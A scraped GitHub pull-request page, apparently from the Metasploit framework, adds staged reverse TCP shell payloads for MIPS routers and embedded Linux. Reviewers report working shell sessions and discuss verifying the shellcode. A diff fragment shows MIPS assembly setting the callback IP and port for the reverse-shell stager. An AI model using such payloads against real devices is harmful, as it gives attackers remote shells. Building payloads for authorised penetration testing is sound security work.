-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add shell/reverse_tcp payloads for MIPS (little and big endian) #2881
Add shell/reverse_tcp payloads for MIPS (little and big endian) #2881
Conversation
To help test these out, I merged them into my local branch for PR #2874 Below are the results: mipsbe
mipsle
|
Processing... |
Shell session from mipsel:
|
mipsbe working well
|
@jvazquez-r7 I am stuck on one of these steps: VERIFY which the buf ruby string is the same than the one included on payloads/stagers/linux/mipsle/shell/reverse_tcp.rb but that file does not exist in the repo |
sorry @jvennix-r7 , you're right, it should be: payloads/stagers/linux/mipsle/reverse_tcp.rb thanks! |
@@ -0,0 +1,127 @@ | |||
## |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The mipsle and mipsbe stagers are very similar, maybe we should use gas's .def macros here instead of having two separate files?
@@ -57,11 +60,11 @@
lw $a0, -4($sp)
li $t7, -3
nor $t7, $t7, $zero
- sw $t7, -32($sp)
- lui $t6, 0x115c
+ sw $t7, -30($sp)
+ ori $t6, $zero, 0x5c11 # port
sw $t6, -28($sp)
- lui $t6, 0x7f00 # ip
- ori $t6, $t6, 0x0001 # ip
+ lui $t6, 0x100 # ip
+ ori $t6, $t6, 0x7f # ip
sw $t6, -26($sp)
addiu $a1, $sp, -30
li $t4, -17
@@ -120,7 +123,7 @@
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I see now in the PR "I need to optimize a little bit the stagers. In the next pull request. Time available expired for this pr", so assuming this kind of stuff will be considered later. Merging now..
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
yeah, I can do for sure in the next pull request, but yeah, honestly didn't have into account in this pr because wasn't aware of an easy trick to have into account endianess with .def macros :S guidance super welcome, and I can add it for sure asap!
I will count @mandreko's field testing as verifying that last checkbox :) |
@jvennix-r7 honestly, don't know how to do the proposed |
Summary of changes:
TODO:
Verification
mipsle
mipsbe
payload generation with tools/metasm_shell.rb
-a mips -e big
options, the shell should appears:file external/source/shellcode/linux/mipsbe/stager_sock_reverse.s
(adjust the path if necessary), the next output should be received:buf
ruby string is the same than the one included on payloads/stagers/linux/mipsbe/reverse_tcp.rbfile external/source/shellcode/linux/mips/stage_tcp_shell.s
(adjust the path if necessary), the next output should be received:buf
ruby string is the same than the one included on payloads/stages/linux/mipsbe/shell.rb, minus the "\x2f\x62\x69\x6e\x2f\x73\x68\x00" suffix. (It's the "/bin/sh" string which isn't disassembled by metasm)exit
to exit the metasm shell-a mips -e little
options, the shell should appears:file external/source/shellcode/linux/mipsle/stager_sock_reverse.s
(adjust the path if necessary), the next output should be received:buf
ruby string is the same than the one included onpayloads/stagers/linux/mipsle/shell/reverse_tcp.rbpayloads/stagers/linux/mipsle/reverse_tcp.rbfile external/source/shellcode/linux/mips/stage_tcp_shell.s
(adjust the path if necessary), the next output should be received:buf
ruby string is the same than the one included on payloads/stages/linux/mipsle/shell.rb, minus the "\x2f\x62\x69\x6e\x2f\x73\x68\x00" suffix. (It's the "/bin/sh" string which isn't disassembled by metasm)Extra validation step